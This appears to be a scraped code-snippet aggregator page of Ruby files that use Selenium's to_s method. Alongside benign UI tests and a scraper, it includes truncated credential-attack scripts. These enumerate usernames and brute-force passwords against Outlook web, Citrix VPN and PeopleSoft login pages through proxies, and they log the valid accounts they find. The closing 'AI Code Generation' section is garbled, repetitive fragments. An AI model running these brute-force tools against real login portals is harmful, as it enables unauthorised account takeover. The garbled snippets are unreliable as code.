How to use to_s method of Selenium.WebDriver Package

Best Selenium code snippet using Selenium.WebDriver.to_s

vamp_spec.rb

Source:vamp_spec.rb Github

copy

Full Screen

...26 .select { |i| i.text.downcase == 'blueprints' }27 .each { |i|28 i.find_element(:tag_name, "a").click()29 if do_screenshots30 driver.save_screenshot("screen_" + c.to_s + ".png")31 c = c + 132 end33 button = driver34 .find_elements(:xpath, "//div[@class='row content-header']//button")35 .select { |j| j.text == 'Docker Compose' }36 .first37 button.click()38 sleep 139 if do_screenshots40 driver.save_screenshot("screen_" + c.to_s + ".png")41 c = c + 142 end43 expect(driver.find_element(:xpath, "//div[@class='modal-content']").displayed?).to eq(true)44 }45 button = driver46 .find_elements(:xpath, "//div[@class='modal-content']//button")47 .select { |j| j.text == 'Cancel' }48 .first49 button.click()50 if do_screenshots51 driver.save_screenshot("screen_" + c.to_s + ".png")52 c = c + 153 end54 button = driver55 .find_elements(:xpath, "//div[@class='row content-header']//button")56 .select { |j| j.text == 'Add' }57 .first58 if do_screenshots59 driver.save_screenshot("screen_" + c.to_s + ".png")60 c = c + 161 end62 expect(button.displayed?).to eq(true)63 driver.quit64 end65end66RSpec.describe "basic checks on top menu items" do67 it "68 - header text should be the equal to a button text69 - editor should be displayed70 - editor should be closed71 " do72 wait = Selenium::WebDriver::Wait.new(timeout: 15)73 driver = Selenium::WebDriver.for driver_name, options: driver_options74 driver.manage.window.size = Selenium::WebDriver::Dimension.new(1920, 1080)75 driver.navigate.to url76 wait.until { driver.find_elements(:xpath, "//div[@class='catogory']") }77 driver78 .find_element(:css, "ul.sidebar-nav")79 .find_elements(:tag_name, "li")80 .select { |i| i.attribute("class") != 'has-sub-menu' }81 .select { |i| i.attribute("class") != 'sub-menu-item' }82 .select { |i| i.text.downcase != 'collapse menu' }83 .each { |i|84 i.click()85 wait.until { driver.find_element(:css, "div.header-content") }86 if do_screenshots87 driver.save_screenshot("screen_" + c.to_s + ".png")88 c = c + 189 end90 expect(driver.find_element(:css, "div.header-content").text.downcase).to eq(i.text.downcase)91 expect(driver.current_url).to eq(url.downcase + i.attribute("href"))92 button = driver93 .find_elements(:xpath, "//div[@class='row content-header']//button")94 .select { |j| j.text == 'Add' }95 .first96 next_url = driver.current_url + "/" + button.text.downcase97 button.click()98 wait.until { driver.find_elements(:xpath, "//div[@class='editor-buttons clearfix']//button") }99 if do_screenshots100 driver.save_screenshot("screen_" + c.to_s + ".png")101 c = c + 1102 end103 expect(driver.find_element(:xpath, "//div[@id='editor']").displayed?).to eq(true)104 expect(driver.current_url).to eq(next_url)105 button = driver106 .find_elements(:xpath, "//div[@class='editor-buttons clearfix']//button")107 .first108 next_url = driver.current_url.split("/")[0..-2].join("/")109 button.click()110 wait.until { driver.find_elements(:xpath, "//div[@class='row content-header']//button") }111 if do_screenshots112 driver.save_screenshot("screen_" + c.to_s + ".png")113 c = c + 1114 end115 button = driver116 .find_elements(:xpath, "//div[@class='row content-header']//button")117 .select { |j| j.text == 'Add' }118 .first119 if do_screenshots120 driver.save_screenshot("screen_" + c.to_s + ".png")121 c = c + 1122 end123 expect(button.displayed?).to eq(true)124 expect(driver.current_url).to eq(next_url)125 }126 driver.quit127 end128end129RSpec.describe "basic checks on sub menu items" do130 it "- header text should be the equal to a button text" do131 wait = Selenium::WebDriver::Wait.new(timeout: 15)132 driver = Selenium::WebDriver.for driver_name, options: driver_options133 driver.manage.window.size = Selenium::WebDriver::Dimension.new(1920, 1080)134 driver.navigate.to url135 wait.until { driver.find_elements(:xpath, "//div[@class='catogory']") }136 driver137 .find_elements(:xpath, "//a[@class='btn-link collapse-btn']")138 .first139 .click()140 wait.until { driver.find_elements(:xpath, "//span[@class='icon-label hidden-xs']") }141 driver142 .find_element(:css, "ul.sidebar-nav")143 .find_elements(:xpath, "//li[@class='has-sub-menu']")144 .select{ |i| i.attribute("href") == nil }145 .each { |i|146 i.find_element(:tag_name, "a").click()147 wait.until { driver.find_elements(:xpath, "//a[@class='capitalize']") }148 if do_screenshots149 driver.save_screenshot("screen_" + c.to_s + ".png")150 c = c + 1151 end152 expect(driver.find_element(:css, "ul.sub-menu").displayed?).to eq(true)153 break154 }155 driver156 .find_element(:css, "ul.sidebar-nav")157 .find_elements(:xpath, "//li[@class='sub-menu-item']")158 .each { |i|159 i.click()160 wait.until { driver.find_elements(:xpath, "//div[@class='container-fluid main-view']") }161 if do_screenshots162 driver.save_screenshot("screen_" + c.to_s + ".png")163 c = c + 1164 end165 expect(driver.find_element(:css, "div.header-content").text.downcase).to eq(i.text.downcase)166 expect(driver.current_url).to eq(url.downcase + i.attribute("href"))167 }168 driver.quit169 end170end171RSpec.describe "test each tab in backend configuration" do172 it "- tab content should be displayed" do173 wait = Selenium::WebDriver::Wait.new(timeout: 15)174 driver = Selenium::WebDriver.for driver_name, options: driver_options175 driver.manage.window.size = Selenium::WebDriver::Dimension.new(1920, 1080)176 driver.navigate.to url177 wait.until { driver.find_elements(:xpath, "//div[@class='catogory']") }178 driver179 .find_elements(:xpath, "//a[@class='btn-link collapse-btn']")180 .first181 .click()182 wait.until { driver.find_elements(:xpath, "//span[@class='icon-label hidden-xs']") }183 driver184 .find_element(:css, "ul.sidebar-nav")185 .find_elements(:xpath, "//li[@class='has-sub-menu']")186 .select{ |i| i.attribute("href") == nil }187 .each { |i|188 i.find_element(:tag_name, "a").click()189 if do_screenshots190 driver.save_screenshot("screen_" + c.to_s + ".png")191 c = c + 1192 end193 expect(driver.find_element(:css, "ul.sub-menu").displayed?).to eq(true)194 }195 driver196 .find_element(:css, "ul.sidebar-nav")197 .find_elements(:xpath, "//li[@class='sub-menu-item']")198 .select { |i| i.text.downcase == 'backend configuration' }199 .each { |i|200 i.click()201 wait.until { driver.find_element(:css, "div.header-content") }202 if do_screenshots203 driver.save_screenshot("screen_" + c.to_s + ".png")204 c = c + 1205 end206 driver207 .find_elements(:xpath, "//ul[@class='nav nav-tabs']//li")208 .each { |j|209 j.click()210 wait.until { driver.find_elements(:xpath, "//dev[@class='nav nav-tabs']//li[@class='active']") }211 if do_screenshots212 driver.save_screenshot("screen_" + c.to_s + ".png")213 c = c + 1214 end215 expect(driver.find_element(:css, "div.tab-content").displayed?).to eq(true)216 }217 }218 driver.quit219 end220end221RSpec.describe "test each tab in vga configuration" do222 it "- tab content should be displayed" do223 wait = Selenium::WebDriver::Wait.new(timeout: 15)224 driver = Selenium::WebDriver.for driver_name, options: driver_options225 driver.manage.window.size = Selenium::WebDriver::Dimension.new(1920, 1080)226 driver.navigate.to url227 wait.until { driver.find_elements(:xpath, "//div[@class='catogory']") }228 driver229 .find_elements(:xpath, "//a[@class='btn-link collapse-btn']")230 .first231 .click()232 wait.until { driver.find_elements(:xpath, "//span[@class='icon-label hidden-xs']") }233 driver234 .find_element(:css, "ul.sidebar-nav")235 .find_elements(:xpath, "//li[@class='has-sub-menu']")236 .select{ |i| i.attribute("href") == nil }237 .each { |i|238 i.find_element(:tag_name, "a").click()239 if do_screenshots240 driver.save_screenshot("screen_" + c.to_s + ".png")241 c = c + 1242 end243 expect(driver.find_element(:css, "ul.sub-menu").displayed?).to eq(true)244 }245 driver246 .find_element(:css, "ul.sidebar-nav")247 .find_elements(:xpath, "//li[@class='sub-menu-item']")248 .select { |i| i.text.downcase == 'vga configuration' }249 .each { |i|250 i.click()251 if do_screenshots252 driver.save_screenshot("screen_" + c.to_s + ".png")253 c = c + 1254 end255 driver256 .find_elements(:xpath, "//ul[@class='nav nav-tabs']//li")257 .each { |j|258 j.click()259 wait.until { driver.find_elements(:xpath, "//dev[@class='nav nav-tabs']//li[@class='active']") }260 if do_screenshots261 driver.save_screenshot("screen_" + c.to_s + ".png")262 c = c + 1263 end264 expect(driver.find_element(:css, "div.tab-content").displayed?).to eq(true)265 }266 }267 driver.quit268 end269end270RSpec.describe "test editor in extended info" do271 it "- editor should be displayed" do272 wait = Selenium::WebDriver::Wait.new(timeout: 15)273 driver = Selenium::WebDriver.for driver_name, options: driver_options274 driver.manage.window.size = Selenium::WebDriver::Dimension.new(1920, 1080)275 driver.navigate.to url276 wait.until { driver.find_elements(:xpath, "//div[@class='catogory']") }277 driver278 .find_elements(:xpath, "//a[@class='btn-link collapse-btn']")279 .first280 .click()281 wait.until { driver.find_elements(:xpath, "//span[@class='icon-label hidden-xs']") }282 driver283 .find_element(:css, "ul.sidebar-nav")284 .find_elements(:xpath, "//li[@class='has-sub-menu']")285 .select{ |i| i.attribute("href") == nil }286 .each { |i|287 i.find_element(:tag_name, "a").click()288 if do_screenshots289 driver.save_screenshot("screen_" + c.to_s + ".png")290 c = c + 1291 end292 expect(driver.find_element(:css, "ul.sub-menu").displayed?).to eq(true)293 }294 driver295 .find_element(:css, "ul.sidebar-nav")296 .find_elements(:xpath, "//li[@class='sub-menu-item']")297 .select { |i| i.text.downcase == 'extended info' }298 .each { |i|299 i.click()300 sleep 1301 if do_screenshots302 driver.save_screenshot("screen_" + c.to_s + ".png")303 c = c + 1304 end305 expect(driver.find_element(:xpath, "//div[@id='editor']").displayed?).to eq(true)306 }307 driver.quit308 end309end310RSpec.describe "test panels in log" do311 it "- panels should be displayed" do312 wait = Selenium::WebDriver::Wait.new(timeout: 15)313 driver = Selenium::WebDriver.for driver_name, options: driver_options314 driver.manage.window.size = Selenium::WebDriver::Dimension.new(1920, 1080)315 driver.navigate.to url316 wait.until { driver.find_elements(:xpath, "//div[@class='catogory']") }317 driver318 .find_elements(:xpath, "//a[@class='btn-link collapse-btn']")319 .first320 .click()321 wait.until { driver.find_elements(:xpath, "//span[@class='icon-label hidden-xs']") }322 driver323 .find_element(:css, "ul.sidebar-nav")324 .find_elements(:xpath, "//li[@class='has-sub-menu']")325 .select{ |i| i.attribute("href") == nil }326 .each { |i|327 i.find_element(:tag_name, "a").click()328 if do_screenshots329 driver.save_screenshot("screen_" + c.to_s + ".png")330 c = c + 1331 end332 expect(driver.find_element(:css, "ul.sub-menu").displayed?).to eq(true)333 }334 driver335 .find_element(:css, "ul.sidebar-nav")336 .find_elements(:xpath, "//li[@class='sub-menu-item']")337 .select { |i| i.text.downcase == 'log' }338 .each { |i|339 i.click()340 if do_screenshots341 driver.save_screenshot("screen_" + c.to_s + ".png")342 c = c + 1343 end344 expect(driver.find_element(:xpath, "//div[@class='panel-heading']").displayed?).to eq(true)345 expect(driver.find_element(:xpath, "//div[@class='panel-body']").displayed?).to eq(true)346 }347 driver.quit348 end349end...

Full Screen

Full Screen

autoenum.rb

Source:autoenum.rb Github

copy

Full Screen

...26 else27 # Firefox profile configure HTTP(S) proxy28 29 proxy_info = http_proxy.split(":")30 profile['network.proxy.http'] = proxy_info[0].to_s31 profile['network.proxy.http_port'] = proxy_info[1].to_i32 profile['network.proxy.ssl'] = proxy_info[0].to_s33 profile['network.proxy.ssl_port'] = proxy_info[1].to_i34 profile['network.proxy.type'] = 135 @driver = Selenium::WebDriver.for :firefox, :profile => profile36 end37 else38 # Firefox profile configure socks proxy39 profile = Selenium::WebDriver::Firefox::Profile.new40 41 proxy_info = proxy.split(":")42 profile['network.proxy.socks'] = proxy_info[0].to_s43 profile['network.proxy.socks_port'] = proxy_info[1].to_i44 profile['network.proxy.type'] = 14546 @driver = Selenium::WebDriver.for :firefox, :profile => profile47 end48 49 @accept_next_alert = true50 @driver.manage.timeouts.implicit_wait = 3051 @verification_errors = []52 53 # Provide a file with a list of users 54 @file= file55 56 # Provide a result file where the users will be stored57 @result_file = result_file58 59 # Need these class variables to identify type of version of QPM since variables change60 @username_input = ""61 @button_input = ""62 63 rescue Exception => e 64 puts e.message + "in intiliaze module Autoenum"65 end66 end67 68 def find_input69 # Assumes that there is only one form with two inputs and one submit button70 71 @driver.get(@base_url + @path)72 text_box = @driver.find_elements(:tag_name, "input")73 i = 1 74 text_box.each do |text|75 76 #puts " Type: " + text.attribute("type")77 #puts " Name: " + text.attribute("name") 78 case text.attribute("type").to_s79 when "text"80 if text.attribute("id").to_s ==""81 @username_input = text.attribute("name").to_s82 @username_search = :name83 else84 @username_input = text.attribute("id").to_s85 @username_search = :id86 end 87 when "submit","image" 88 if text.attribute("name").to_s == ""89 puts text.attribute("id").to_s90 @button_input = text.attribute("id").to_s91 else text.attribute("id").to_s == ""92 @button_input = text.attribute("name").to_s 93 @button_search = :name94 end95 end96 end97 98 if @button_input == ""99 text_box = @driver.find_elements(:tag_name, "button")100 text_box.each do |text|101 if text.attribute("type").to_s == "submit" or text.attribute("type").to_s == "image" 102 if text.attribute("id").to_s == ""103 @button_input = text.attribute("name").to_s 104 @button_search = :name105 else text.attribute("id").to_s == ""106 @button_input = text.attribute("id").to_s107 @button_search = :id 108 end109 end110 end111 end112 113 if @button_input == ""114 @button_input = "//button[@type='submit']" 115 @button_search = :xpath116 end117 118 puts " Using username input: " + @username_input119 puts " Using submit button : " + @button_input120 121 end122 123 def brute_user124 # Brute forcing user accounts based on file125 begin126 ## find input values127 find_input128 #######129 130 usr = File.new(@file.to_s,'r+')131 132 @driver.manage.delete_all_cookies133 134 135 usr.each do |user|136 @driver.get(@base_url + @path)137 138 user = user.to_s.strip139 140 results = File.new(@result_file.to_s,'a+') 141 142 puts "Testing User:#{user}"143 # Test user account144 @driver.find_element(:name, @username_input).clear145 @driver.find_element(:name, @username_input).send_keys "#{user}"146 @driver.find_element(:name, @button_input).click147 148 if element_present?(:name, @button_input) 149 puts "User Account #{user} NOT found"150 @driver.manage.delete_all_cookies151 else152 puts "Valid User Account #{user}"153 results.puts user 154 @driver.manage.delete_all_cookies ...

Full Screen

Full Screen

outlook.rb

Source:outlook.rb Github

copy

Full Screen

...20 else21 # Firefox profile configure HTTP(S) proxy22 23 proxy_info = http_proxy.split(":")24 profile['network.proxy.http'] = proxy_info[0].to_s25 profile['network.proxy.http_port'] = proxy_info[1].to_i26 profile['network.proxy.ssl'] = proxy_info[0].to_s27 profile['network.proxy.ssl_port'] = proxy_info[1].to_i28 profile['network.proxy.type'] = 129 @driver = Selenium::WebDriver.for :firefox, :profile => profile30 end31 else32 # Firefox profile configure socks proxy33 profile = Selenium::WebDriver::Firefox::Profile.new34 35 proxy_info = proxy.split(":")36 profile['network.proxy.socks'] = proxy_info[0].to_s37 profile['network.proxy.socks_port'] = proxy_info[1].to_i38 profile['network.proxy.type'] = 13940 @driver = Selenium::WebDriver.for :firefox, :profile => profile41 end42 43 @accept_next_alert = true44 @driver.manage.timeouts.implicit_wait = 3045 @verification_errors = []46 47 48 # Provide a file with a list of users 49 @file= file50 51 # Password file to use52 @password = password53 54 # Provide a result file where valid users and passwords will be stored55 @result_file = result_file56 rescue 57 puts "exception"58 end59 end60 61 def brute_user_password62 f = nil63 64 65 p = ""66 if File.exists?(@password.to_s)67 p = File.new(@password,'r+')68 else69 p = File.new('dictionaries/passwd1','r+')70 end71 72 begin73 p.each do |passwd|74 f = File.new(@file,'r+')75 f.each do |user|76 @driver.get(@base_url + @path)77 78 result = File.new(@result_file,'a+')79 user = user.to_s.strip80 passwd = passwd.to_s.strip81 #user = "domain" + "\\" + user.to_s82 user = user.to_s83 puts "Testing User:#{user} Password:#{passwd}"84 85 @driver.find_element(:id, "username").clear86 @driver.find_element(:id, "username").send_keys user.to_s87 @driver.find_element(:id, "password").clear88 @driver.find_element(:id, "password").send_keys passwd.to_s89 90 wait = Selenium::WebDriver::Wait.new(:timeout => 60)91 wait.until { @driver.find_element(:css, "input.btn").displayed? }92 @driver.find_element(:css, "input.btn").click93 #@driver.find_element(:css, "span.signinTxt").click94 95 if element_present?(:id, "password")96 #Wrong password97 @driver.manage.delete_all_cookies98 else99 puts "Yeah!!!!!!!!!!!!!! Correct password! User:#{user} Password:#{passwd}"100 @driver.find_element(:id, "lo").click101 result.puts "User:#{user} Password:#{passwd}" 102 @driver.manage.delete_all_cookies ...

Full Screen

Full Screen

citrix_vpn.rb

Source:citrix_vpn.rb Github

copy

Full Screen

...20 else21 # Firefox profile configure HTTP(S) proxy22 23 proxy_info = http_proxy.split(":")24 profile['network.proxy.http'] = proxy_info[0].to_s25 profile['network.proxy.http_port'] = proxy_info[1].to_i26 profile['network.proxy.ssl'] = proxy_info[0].to_s27 profile['network.proxy.ssl_port'] = proxy_info[1].to_i28 profile['network.proxy.type'] = 129 @driver = Selenium::WebDriver.for :firefox, :profile => profile30 end31 else32 # Firefox profile configure socks proxy33 profile = Selenium::WebDriver::Firefox::Profile.new34 35 proxy_info = proxy.split(":")36 profile['network.proxy.socks'] = proxy_info[0].to_s37 profile['network.proxy.socks_port'] = proxy_info[1].to_i38 profile['network.proxy.type'] = 13940 @driver = Selenium::WebDriver.for :firefox, :profile => profile41 end42 43 @accept_next_alert = true44 @driver.manage.timeouts.implicit_wait = 1045 @verification_errors = []46 47 # Provide a file with a list of users 48 @file= file49 50 # Password file to use51 puts @password52 @password = password53 54 # Provide a result file where valid users and passwords will be stored55 @result_file = result_file56 57 end58 59 def brute_user_password60 begin61 62 f = nil63 p = ""64 if File.exists?(@password.to_s)65 p = File.new(@password,'r+')66 puts @password67 else68 p = File.new('dictionaries/passwd1','r+')69 end7071 p.each do |passwd|72 f = File.new(@file,'r+')73 f.each do |user|74 user = user.to_s.strip75 passwd = passwd.to_s.strip76 puts "Testing User:#{user} Password:#{passwd}"77 @driver.get(@base_url + @path)78 @driver.find_element(:name, "login").clear79 @driver.find_element(:name, "login").send_keys user.to_s80 @driver.find_element(:name, "passwd").clear81 @driver.find_element(:name, "passwd").send_keys passwd.to_s82 @driver.find_element(:id,"Log_On").click83 if is_alert_present? 84 puts "Alert present"85 end86 if element_present?(:name,"passwd")87 #Wrong password88 @driver.manage.delete_all_cookies89 else90 result = File.new(@result_file,'a+')91 puts "Yeah!!!!!!!!!!!!!! Correct password! User:#{user} Password:#{passwd}" 92 @driver.manage.delete_all_cookies93 result.puts "User:#{user} Password:#{passwd}"94 result.close95 end96 #@driver.save_screenshot("citrix_#{user.to_s}_#{passwd.to_s}.png")97 end98 f.close99 end100 p.close101 rescue Exception => e102 #puts "Error with User:#{user} Password:#{passwd}"103 #result.puts "Error with user :#{user} Password:#{@password}"104 puts e.message 105 #puts e.backtrace.inspect106 end107 @driver.quit108 end109 110 def read_file ...

Full Screen

Full Screen

peoplesoft.rb

Source:peoplesoft.rb Github

copy

Full Screen

...18 else19 # Firefox profile configure HTTP(S) proxy20 21 proxy_info = http_proxy.split(":")22 profile['network.proxy.http'] = proxy_info[0].to_s23 profile['network.proxy.http_port'] = proxy_info[1].to_i24 profile['network.proxy.ssl'] = proxy_info[0].to_s25 profile['network.proxy.ssl_port'] = proxy_info[1].to_i26 profile['network.proxy.type'] = 127 @driver = Selenium::WebDriver.for :firefox, :profile => profile28 end29 else30 # Firefox profile configure socks proxy31 profile = Selenium::WebDriver::Firefox::Profile.new32 33 proxy_info = proxy.split(":")34 profile['network.proxy.socks'] = proxy_info[0].to_s35 profile['network.proxy.socks_port'] = proxy_info[1].to_i36 profile['network.proxy.type'] = 13738 @driver = Selenium::WebDriver.for :firefox, :profile => profile39 end40 41 @accept_next_alert = true42 @driver.manage.timeouts.implicit_wait = 3043 @verification_errors = []44 45 46 # Provide a file with a list of users 47 @file= file48 49 # Password file to use50 @password = password51 52 # Provide a result file where valid users and passwords will be stored53 @result_file = result_file54 rescue 55 puts "exception"56 end57 end58 59 def brute_user_password60 f = nil61 p = ""62 if File.exists?(@password.to_s)63 p = File.new(@password,'r+')64 else65 p = File.new('dictionaries/passwd1','r+')66 end67 68 @driver.get(@base_url + @path)69 begin70 p.each do |passwd|71 f = File.new(@file,'r+')72 f.each do |user|73 74 result = File.new(@result_file,'a+')75 user = user.to_s.strip76 passwd = passwd.to_s.strip77 78 puts "Testing User:#{user} Password:#{passwd}"79 80 81 @driver.find_element(:id, "userid").clear82 @driver.find_element(:id, "userid").send_keys user.to_s83 @driver.find_element(:id, "pwd").clear84 @driver.find_element(:id, "pwd").send_keys passwd.to_s85 @driver.find_element(:name, "Submit").click86 87 if element_present?(:id, "pwd")88 #Wrong password89 @driver.manage.delete_all_cookies90 else91 puts "Yeah!!!!!!!!!!!!!! Correct password! User:#{user} Password:#{passwd}"92 result.puts "User:#{user} Password:#{passwd}"93 end94 95 @driver.manage.delete_all_cookies96 result.close97 end98 f.close ...

Full Screen

Full Screen

spider.rb

Source:spider.rb Github

copy

Full Screen

...13cnt = 014# 大学15university = browser0.find_elements(:class=>'u-usity')16university.each do |i|17 university_url = i['href'].to_s18 university_name = i.find_element(:xpath=>'img')['alt'].to_s19 20 browser1.get(university_url)21 sleep 122 # 课程23 loop{24 course = browser1.find_element(:class=>'u-ctlist').find_elements(:class=>'g-cell1')25 course.each do |j|26 course_url = "http://www.icourse163.org" + j['data-href'].to_s27 course_name = j.find_element(:class=>'card').find_element(:class=>'f-f0').text28 29 browser2.get(course_url)30 sleep 131 # 课程信息32 course_text = browser2.find_elements(:class=>'block')33 begin34 person_num = browser2.find_element(:class=>'m-termInfo').find_element(:class=>'j-num').text35 person_num.gsub!(/[^0-9]/i, '')36 rescue37 person_num = ''38 end39 cnt +=140 attribute = Hash.new41 begin42 course_text.each { |c|43 k = c.find_elements(:xpath=>'div')44 attribute[k[0].text] = k[1].text45 }46 rescue47 48 end49 STDERR.puts cnt.to_s + ',' + university_name + ',' + course_name + ',' + attribute['课程时长'].to_s + ',' + attribute['课程负载'].to_s + ',' + attribute['内容类型'].to_s + ',' + attribute['课程分类'].to_s + ',' + person_num + ',' + course_url50 STDOUT.puts cnt.to_s + ',' + university_name + ',' + course_name + ',' + attribute['课程时长'].to_s + ',' + attribute['课程负载'].to_s + ',' + attribute['内容类型'].to_s + ',' + attribute['课程分类'].to_s + ',' + person_num + ',' + course_url51 end52 begin53 next_page = browser1.find_element(:class=>'u-ctlist').find_element(:class=>'znxt')54 break if next_page.attribute("class").include?("js-disabled")55 next_page.click56 sleep 157 rescue Exception => e58 break59 end60 }61end62browser2.close63browser1.close64browser0.close...

Full Screen

Full Screen

base_screen.rb

Source:base_screen.rb Github

copy

Full Screen

1require 'appium_lib'2class BaseScreen3 def self.identificator(element_name, &block)4 define_method(element_name.to_s, *block)5 end6 class << self7 alias_method :value, :identificator8 alias_method :action, :identificator9 alias_method :trait, :identificator10 end11 def method_missing(method, *args)12 if method.to_s.start_with?('touch_')13 wait_element_for_touch public_send(method.to_s.sub('touch_', ''))14 elsif method.to_s.start_with?('enter_')15 enter args[0], public_send(method.to_s.sub('enter_', ''))16 elsif method.to_s.end_with?('_displayed?')17 element_displayed? public_send(method.to_s.sub('_displayed?', ''))18 else19 super20 end21 end22 # This method has been necessary, because the method_missing has overriding23 def respond_to_missing?24 true25 end26 def check_trait(timeout = 10)27 raise ElementNotFoundError,28 "#{trait} not found" unless29 wait_true(timeout) { find_element(:id, trait).displayed? }30 end31 def enter(text, element)...

Full Screen

Full Screen

env.rb

Source:env.rb Github

copy

Full Screen

1require 'rubygems'2require 'selenium-webdriver'3require 'cucumber'4time=Time.new()5$outfile_name=time.day.to_s+time.hour.to_s+time.min.to_s6$outio = File.open("out"+time.day.to_s+".txt", "a")7####8# Input capabilities for running automation on browserStack (remote browser, not free )9caps = Selenium::WebDriver::Remote::Capabilities.new10#caps['browser'] = 'Chrome'11caps['browser'] = 'Firefox'12caps['browser_version'] = '34.0'13caps['os'] = 'OS X'14caps['os_version'] = 'Yosemite'15caps['resolution'] = '1024x768'16#caps['os'] = 'Windows'17#caps['os_version'] = '7'18caps["browserstack.debug"] = "true"19caps["name"] = "Testing Selenium 2 with Ruby on BrowserStack"20#$driverfx = Selenium::WebDriver.for(:remote,...

Full Screen

Full Screen

to_s

Using AI Code Generation

copy

Full Screen

1driver.find_element(:name, "q").send_keys "Selenium WebDriver"2driver.find_element(:name, "btnG").click3driver.find_element(:name, "q").send_keys "Selenium WebDriver"4driver.find_element(:name, "btnG").click5puts driver.find_element(:id, "resultStats")6driver.find_element(:name, "q").send_keys "Selenium WebDriver"7driver.find_element(:name, "btnG").click8puts driver.find_element(:id, "resultStats").text9driver.find_element(:name, "q").send_keys "Selenium WebDriver"10driver.find_element(:name, "btnG").click11puts driver.find_element(:id, "resultStats").attribute("innerHTML")12driver.find_element(:name, "q").send_keys "Selenium WebDriver"13driver.find_element(:name, "btnG").click14puts driver.find_element(:id, "resultStats").attribute("outerHTML")

Full Screen

Full Screen

to_s

Using AI Code Generation

copy

Full Screen

1element = driver.find_element(:name, 'q')2puts element.attribute('name')3element = driver.find_element(:name, 'q')4puts element.attribute('name')5element = driver.find_element(:name, 'q')6puts element.attribute('name')7element = driver.find_element(:name, 'q')8puts element.attribute('name')9element = driver.find_element(:name, 'q')10puts element.attribute('name')11element = driver.find_element(:name, 'q')12puts element.attribute('name')13element = driver.find_element(:name, 'q')

Full Screen

Full Screen

to_s

Using AI Code Generation

copy

Full Screen

1 @driver.get(@base_url + "/")2 @driver.find_element(:id, "gbqfq").clear3 @driver.find_element(:id, "gbqfq").send_keys "selenium webdriver"4 @driver.find_element(:id, "gbqfb").click5 def element_present?(how, what)6 @driver.find_element(how, what)7 def alert_present?()8 def verify(&blk)9 def close_alert_and_get_its_text(how, what)10 alert = @driver.switch_to().alert()11 if (@accept_next_alert) then12 alert.accept()13 alert.dismiss()

Full Screen

Full Screen

to_s

Using AI Code Generation

copy

Full Screen

1puts driver.find_element(:name, 'q').displayed?2puts driver.find_element(:name, 'q').displayed?3puts driver.find_element(:name, 'q1').displayed?

Full Screen

Full Screen

to_s

Using AI Code Generation

copy

Full Screen

1element = driver.find_element(:name, 'q')2 element = driver.find_element(:name, 'q1')3 element = driver.find_element(:name, 'q1')4 element = driver.find_element(:name, 'q1')5 element = driver.find_element(:name, 'q1')

Full Screen

Full Screen

to_s

Using AI Code Generation

copy

Full Screen

1element = driver.find_element(:name, 'q')2element = driver.find_element(:name, 'q')3element = driver.find_element(:name, 'q')4puts element.attribute('value')5element = driver.find_element(:name, 'q')6element = driver.find_element(:name, 'q')7element = driver.find_element(:name, 'q')

Full Screen

Full Screen

to_s

Using AI Code Generation

copy

Full Screen

1element = driver.find_element(:name, 'q')2 element = driver.find_element(:name, 'q1')3 element = driver.find_element(:name, 'q1')4 element = driver.find_element(:name, 'q1')5 element = driver.find_element(:name, 'q1')

Full Screen

Full Screen

to_s

Using AI Code Generation

copy

Full Screen

1element = driver.find_element(:name, 'q')2element = driver.find_element(:name, 'q')3element = driver.find_element(:name, 'q')4puts element.attribute('value')5element = driver.find_element(:name, 'q')6element = driver.find_element(:name, 'q')7element = driver.find_element(:name, 'q')

Full Screen

Full Screen

Automation Testing Tutorials

Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.

LambdaTest Learning Hubs:

YouTube

You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.

Run Selenium automation tests on LambdaTest cloud grid

Perform automation testing on 3000+ real desktop and mobile devices online.

Most used method in

Try LambdaTest Now !!

Get 100 minutes of automation test minutes FREE!!

Next-Gen App & Browser Testing Cloud

Was this article helpful?

Helpful

NotHelpful